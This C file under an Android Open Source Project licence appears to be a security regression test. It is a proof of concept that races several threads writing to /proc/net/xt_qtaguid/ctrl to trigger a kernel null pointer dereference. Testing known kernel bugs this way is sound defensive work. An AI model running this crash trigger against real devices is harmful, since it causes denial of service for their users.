1 /**
2  * Copyright (C) 2018 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #define _GNU_SOURCE
18 #include <errno.h>
19 #include <fcntl.h>
20 #include <pthread.h>
21 #include <stdio.h>
22 #include <string.h>
23 #include <sys/mman.h>
24 #include <sys/socket.h>
25 #include <sys/stat.h>
26 #include <sys/time.h>
27 #include <sys/types.h>
28 #include <unistd.h>
29 
30 #define MAX_THREAD 6
31 
32 int ctrl_fd;
33 static int cmd;
34 static int status[MAX_THREAD];
35 static int sock_fd;
36 
thread_entry(void * arg)37 void *thread_entry(void *arg) {
38   int index, len = 256, ret;
39   char buf[256];
40   index = (int)(unsigned long)arg;
41   memset(buf, 0x0, 256);
42   status[index] = 1;
43 
44   // cmd =-1 signifies error in thread creation
45   while (cmd != 1 && cmd != -1) {
46     usleep(5);
47   }
48 
49   if (cmd != -1) {
50     switch (index % 3) {
51       case 0:
52         len = sprintf(buf, "d %lu", (unsigned long)0);
53         break;
54       case 2:
55         len = sprintf(buf, "t %d", sock_fd);
56         break;
57     }
58 
59     ret = write(ctrl_fd, buf, len);
60   }
61 
62   status[index] = 2;
63   return NULL;
64 }
65 /*
66  *This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device
67  *which causes null pointer derefrences in netstat.
68  */
main()69 int main() {
70   int fd, retry = 1024;
71   int ret, i, loop;
72   pthread_t tid[MAX_THREAD];
73 
74   fork();
75   sock_fd = socket(AF_INET, SOCK_STREAM, 0);
76   while (retry--) {
77     cmd = 0;
78     for (i = 0; i < MAX_THREAD; i++) {
79       status[i] = 0;
80     }
81 
82     fd = open("/dev/xt_qtaguid", O_RDONLY);
83     if (fd < 0) {
84       return -1;
85     }
86 
87     ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR);
88     if (ctrl_fd < 0) {
89       return -1;
90     }
91 
92     for (i = 0; i < MAX_THREAD; i++) {
93       ret =
94           pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i);
95       if (ret != 0) {
96         cmd = -1;
97         close(ctrl_fd);
98       }
99     }
100 
101     loop = 1;
102     int count = 0;
103     // loop until all threads have status == 1
104     while (loop) {
105       loop = 0;
106       count = count + 1;
107       for (i = 0; i < MAX_THREAD; i++)
108         if (status[i] != 1) {
109           loop = 1;
110           break;
111         }
112 
113       if (loop) {
114         usleep(5);
115       }
116     }
117 
118     cmd = 1;
119     loop = 1;
120     while (loop) {
121       loop = 0;
122       count = count + 1;
123       for (i = 0; i < MAX_THREAD; i++)
124         if (status[i] != 2) {
125           loop = 1;
126           break;
127         }
128 
129       if (loop) {
130         usleep(5);
131       }
132     }
133     close(fd);
134   }
135   return 0;
136 }
137